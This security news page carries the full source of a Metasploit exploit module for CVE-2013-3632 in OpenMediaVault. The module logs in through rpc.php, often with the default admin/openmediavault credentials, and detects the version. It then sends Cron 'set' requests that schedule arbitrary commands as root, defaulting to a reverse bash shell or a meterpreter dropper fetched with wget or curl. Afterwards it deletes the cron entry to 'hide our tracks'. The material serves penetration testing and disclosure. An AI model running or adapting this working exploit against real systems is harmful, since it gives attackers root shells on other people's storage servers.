Security
Headlines
HeadlinesLatestCVEs

Headline

OpenMediaVault rpc.php Authenticated Cron Remote Code Execution

OpenMediaVault allows an authenticated user to create cron jobs as root on the system. An attacker can abuse this by sending a POST request via rpc.php to schedule and execute a cron entry that runs arbitrary commands as root on the system. All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.

Packet Storm
#web#linux#js#git#php#rce#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::Deprecated  moved_from 'exploit/multi/http/openmediavault_cmd_exec'  def initialize(info = {})    super(      update_info(        info,        'Name' => 'OpenMediaVault rpc.php Authenticated Cron Remote Code Execution',        'Description' => %q{          OpenMediaVault allows an authenticated user to create cron jobs as root on the system.          An attacker can abuse this by sending a POST request via rpc.php to schedule and execute          a cron entry that runs arbitrary commands as root on the system.          All OpenMediaVault versions including the latest release 7.4.2-2 are vulnerable.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Msf module contributor          'Brandon Perry <bperry.volatile[at]gmail.com>' # Original discovery and first msf module        ],        'References' => [          ['CVE', '2013-3632'],          ['PACKETSTORM', '178526'],          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats'],          ['URL', 'https://attackerkb.com/topics/zl1kmXbAce/cve-2013-3632']        ],        'DisclosureDate' => '2013-10-30',        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],        'Privileged' => true,        'Targets' => [          [            'Unix Command',            {              'Platform' => ['unix', 'linux'],              'Arch' => ARCH_CMD,              'Type' => :unix_cmd,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }            }          ],          [            'Linux Dropper',            {              'Platform' => ['linux'],              'Arch' => [ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64],              'Type' => :linux_dropper,              'CmdStagerFlavor' => ['wget', 'curl'],              'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'WfsDelay' => 65 # wait at least one minute for session to allow cron to execute the payload        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]        }      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault web application', '/']),        OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault']),        OptBool.new('PERSISTENT', [true, 'Keep the payload persistent in Cron. Default value is false, where the payload is removed', false])      ]    )  end  def user    datastore['USERNAME']  end  def pass    datastore['PASSWORD']  end  def rpc_success?(res)    res&.code == 200 && res.body.include?('"error":null')  end  def login(user, pass)    print_status("#{peer} - Authenticating with OpenMediaVault using credentials #{user}:#{pass}")    # try the login options for all OpenMediaVault versions    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'keep_cookies' => true,      'ctype' => 'application/json',      'data' => {        service: 'Session',        method: 'login',        params: {          username: user,          password: pass        },        options: nil      }.to_json    })    unless res&.code == 200 && res.body.include?('"authenticated":true')      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'keep_cookies' => true,        'ctype' => 'application/json',        'data' => {          service: 'Authentication',          method: 'login',          params: {            username: user,            password: pass          }        }.to_json      })    end    unless res&.code == 200 && res.body.include?('"authenticated":true')      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'keep_cookies' => true,        'ctype' => 'application/json',        'data' => {          service: 'Authentication',          method: 'login',          params: [            {              username: user,              password: pass            }          ]        }.to_json      })      return res&.code == 200 && res.body.include?('"authenticated":true')    end    true  end  def check_target    print_status('Trying to detect if target is running a vulnerable version of OpenMediaVault.')    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'keep_cookies' => true,      'ctype' => 'application/json',      'data' => {        service: 'System',        method: 'getInformation',        params: nil      }.to_json    })    return nil unless rpc_success?(res)    res  end  def check_version(res)    # parse json response and get the version    res_json = res.get_json_document    unless res_json.blank?      # OpenMediaVault v0.3 - v0.5 and up to v4 have different json formats where index 1 has the version information      version = res_json.dig('response', 1, 'value')      version = res_json.dig('response', 'version') if version.nil?      version = res_json.dig('response', 'data', 1, 'value') if version.nil?      return Rex::Version.new(version.split('(')[0].gsub(/[[:space:]]/, '')) unless version.nil? || version.split('(')[0].nil?    end    nil  end  def apply_config_changes    # Apply OpenMediaVault configuration changes    send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'data' => {        service: 'Config',        method: 'applyChangesBg',        params: {          modules: [],          force: false        },        options: nil      }.to_json    })  end  def execute_command(cmd, _opts = {})    # OpenMediaFault current release - v6.0.15-1 uses an array definition ['*']    # OpenMediaVault v3.0.16 - v6.0.14-1 uses a string definition '*'    # OpenMediaVault v1.0.22 - v3.0.15 uses a string definition '*' and uuid setting 'undefined'    # OpenMediaVault v0.2.6.4 - v1.0.31 uses a string definition '*' and uuid setting 'undefined' and no execution parameter    # OpenMediaVault < v0.2.6.4 uses a string definition '*' and uuid setting 'undefined', no execution parameter and no everyN parameters    schedule = @version_number >= Rex::Version.new('6.0.15-1') ? ['*'] : '*'    uuid = @version_number <= Rex::Version.new('3.0.15') ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4'    if @version_number > Rex::Version.new('1.0.32')      post_data = {        service: 'Cron',        method: 'set',        params: {          uuid: uuid,          enable: true,          execution: 'exactly',          minute: schedule,          everynminute: false,          hour: schedule,          everynhour: false,          dayofmonth: schedule,          everyndayofmonth: false,          month: schedule,          dayofweek: schedule,          username: 'root',          command: cmd.to_s, # payload          sendemail: false,          comment: '',          type: 'userdefined'        },        options: nil      }.to_json    elsif @version_number >= Rex::Version.new('0.2.6.4')      post_data = {        service: 'Cron',        method: 'set',        params: {          uuid: uuid,          enable: true,          minute: schedule,          everynminute: false,          hour: schedule,          everynhour: false,          dayofmonth: schedule,          everyndayofmonth: false,          month: schedule,          dayofweek: schedule,          username: 'root',          command: cmd.to_s, # payload          sendemail: false,          comment: '',          type: 'userdefined'        }      }.to_json    else      post_data = {        service: 'Cron',        method: 'set',        params: [          {            uuid: uuid,            minute: schedule,            hour: schedule,            dayofmonth: schedule,            month: schedule,            dayofweek: schedule,            username: 'root',            command: cmd.to_s, # payload            comment: '',            type: 'userdefined'          }        ]      }.to_json    end    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'rpc.php'),      'method' => 'POST',      'ctype' => 'application/json',      'keep_cookies' => true,      'data' => post_data    })    fail_with(Failure::Unknown, 'Cannot access cron services to schedule payload execution.') unless rpc_success?(res)    # parse json response and get the uuid of the cron entry    # we need this later to clean up and hide our tracks    res_json = res.get_json_document    @cron_uuid = res_json.dig('response', 'uuid') || ''    # In early versions up to 0.4.x cron uuid does not get returned so try an extra query to get it    if @cron_uuid.blank?      if @version_number >= Rex::Version.new('0.2.6.4')        method = 'getList'      else        method = 'getListByType'      end      post_data = {        service: 'Cron',        method: method,        params: {          start: 0,          limit: -1,          sortfield: nil,          sortdir: nil,          type: ['userdefined']        }      }.to_json      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'ctype' => 'application/json',        'keep_cookies' => true,        'data' => post_data      })      res_json = res.get_json_document      # get total list of entries and pick the last one      index = res_json.dig('response', 'total')      @cron_uuid = res_json.dig('response', 'data', index - 1, 'uuid') || ''    end    # Apply and update cron configuration to trigger payload execution (1 minute)    # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply    apply_config_changes    print_status('Cron payload execution triggered. Wait at least 1 minute for the session to be established.')  end  def on_new_session(_session)    # try to cleanup cron entry in OpenMediaVault unless PERSISTENT option is true    unless datastore['PERSISTENT']      res = send_request_cgi({        'uri' => normalize_uri(target_uri.path, 'rpc.php'),        'method' => 'POST',        'ctype' => 'application/json',        'keep_cookies' => true,        'data' => {          service: 'Cron',          method: 'delete',          params: {            uuid: @cron_uuid.to_s          }          # options: nil        }.to_json      })      if rpc_success?(res)        # Apply changes and update cron configuration to remove the payload entry        # In early releases, you do not have to apply the changes, but the exact release change is unknown, so we always apply        apply_config_changes        print_good('Cron payload entry successfully removed.')      else        print_warning('Cannot access the cron services to remove the payload entry. If required, remove the entry manually.')      end    end    super  end  def check    @logged_in = login(user, pass)    return CheckCode::Unknown('Failed to authenticate at OpenMediaVault.') unless @logged_in    res = check_target    return CheckCode::Unknown('Can not identify target as OpenMediaVault.') if res.nil?    @version_number = check_version(res)    return CheckCode::Detected('Can not retrieve the version information.') if @version_number.nil?    return CheckCode::Appears("Version #{@version_number}") if @version_number.between?(Rex::Version.new('0.1'), Rex::Version.new('7.4.2-2'))    CheckCode::Detected("Version #{@version_number}")  end  def exploit    unless @logged_in      if login(user, pass)        res = check_target        fail_with(Failure::Unknown, 'Can not identify target as OpenMediaVault.') if res.nil?        @version_number = check_version(res)        if @version_number.nil?          print_status('Can not retrieve version information. Continue anyway...')        else          print_status("Version #{@version_number} detected.")        end      else        fail_with(Failure::NoAccess, 'Failed to authenticate at OpenMediaVault.')      end    end    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")    case target['Type']    when :unix_cmd      execute_command(payload.encoded)    when :linux_dropper      execute_cmdstager    end  endend

Packet Storm: Latest News

Scapy Packet Manipulation Tool 2.6.1